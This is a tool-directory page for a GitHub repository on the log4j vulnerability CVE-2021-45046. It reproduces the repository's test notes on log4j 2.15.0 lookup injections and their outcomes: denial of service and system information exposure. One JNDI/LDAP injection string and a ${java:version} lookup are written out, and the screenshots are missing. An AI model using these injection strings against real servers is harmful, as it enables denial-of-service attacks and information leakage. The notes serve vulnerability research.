Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2021-45046 | Kitploit
Tools/GitHubGitHub/ludy-dev/cve-2021-45046
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubludy-dev/cve-2021-45046

cve-2021-45046

View Repository
14 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Although log4j RCE (CVE-2021-44228) was patched in 2.15, a new vulnerability, CVE-2021-45046 (causing DoS), has been discovered.
Below are the test results.

[Test Environment]
log4j-2.15.0 (api , core)
JRE-1.8.0
jdk1.8.0_151
Eclipse IDE (Maven Project)

  1. Log4j RCE (CVE-2021-44228) syntax test -> Not Vuln

image

  1. Inserting an arbitrary ctx object name -> Not vuln

image

  1. When inserted with the same name as the object receiving context -> DoS occurs due to infinite loop

image

  1. Inserted in the form ${jndi:ldap://127.0.0.1#[ldap 서버 주소]} -> UnknownHostException occurs, no DoS

image

  1. In the form jndi:ldap://[ldap서버]#[ldap서버] -> Not vuln

image

  1. Inserting Java code -> DoS occurs via illegalArgmumentException

image

7-1. Inserting Java syntax -> System info exposure

image

7-2. Inserting Java syntax -> illegalArgmumentException, DoS occurs

image

-> When checking where the illegalArgumentException occurs, the Java syntax that enables System info exposure in 2-5 through the switch-case statement (${java:version}
appears to be an intended routine.

image

Download Tool